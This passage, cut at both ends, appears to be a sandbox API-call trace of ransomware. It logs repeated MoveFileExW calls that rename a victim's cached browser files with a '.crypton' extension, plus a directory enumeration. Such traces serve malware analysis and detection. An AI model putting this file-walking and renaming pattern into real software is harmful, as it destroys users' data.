dwFlags=0x2) returned 1 [0198.995] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.998] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png.crypton"), dwFlags=0x2) returned 1 [0199.001] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png.crypton"), dwFlags=0x2) returned 1 [0199.004] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png.crypton"), dwFlags=0x2) returned 1 [0199.013] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.057] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.101] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.120] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bootstrap[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bootstrap[1].js.crypton"), dwFlags=0x2) returned 1 [0199.135] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bs-jsdep[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bs-jsdep[1].css.crypton"), dwFlags=0x2) returned 1 [0199.138] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\collect[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\collect[1].gif.crypton"), dwFlags=0x2) returned 1 [0199.246] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\core[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\core[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\core[1].css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\core[1].css.crypton"), dwFlags=0x2) returned 1 [0199.251] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e151e5[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e151e5[1].gif.crypton"), dwFlags=0x2) returned 1 [0199.336] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt.crypton"), dwFlags=0x2) returned 1 [0199.347] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt.crypton"), dwFlags=0x2) returned 1 [0199.351] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png.crypton"), dwFlags=0x2) returned 1 [0199.354] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt.crypton"), dwFlags=0x2) returned 1 [0199.357] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png.crypton"), dwFlags=0x2) returned 1 [0199.392] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\uhf-main.var.min[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\uhf-main.var.min[1].js.crypton"), dwFlags=0x2) returned 1 [0199.400] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf43612c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf43612c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0199.425] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\19619569[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\19619569[1].gif.crypton"), dwFlags=0x2) returned 1 [0199.655] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\7962161087[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\7962161087[1].js.crypton"), dwFlags=0x2) returned 1 [0199.659] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png.crypton"), dwFlags=0x2) returned 1 [0199.852] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png.crypton"), dwFlags=0x2) returned 1 [0199.857] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png.crypton"), dwFlags=0x2) returned 1 [0199.861] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png.crypton"), dwFlags=0x2) returned 1 [0199.865] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png.crypton"), dwFlags=0x2) returned 1 [0199.868] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png.crypton"), dwFlags=0x2) returned 1 [0199.872] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png.crypton"), dwFlags=0x2) returned 1 [0199.882] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.888] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.894] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png.crypton"), dwFlags=0x2) returned 1 [0199.902] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg.crypton"), dwFlags=0x2) returned 1 [0199.905] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png.crypton"), dwFlags=0x2) returned 1 [0199.908] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png.crypton"), dwFlags=0x2) returned 1 [0199.946] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ast[2].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ast[2].js.crypton"), dwFlags=0x2) returned 1 [0199.950] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png.crypton" (normalized: 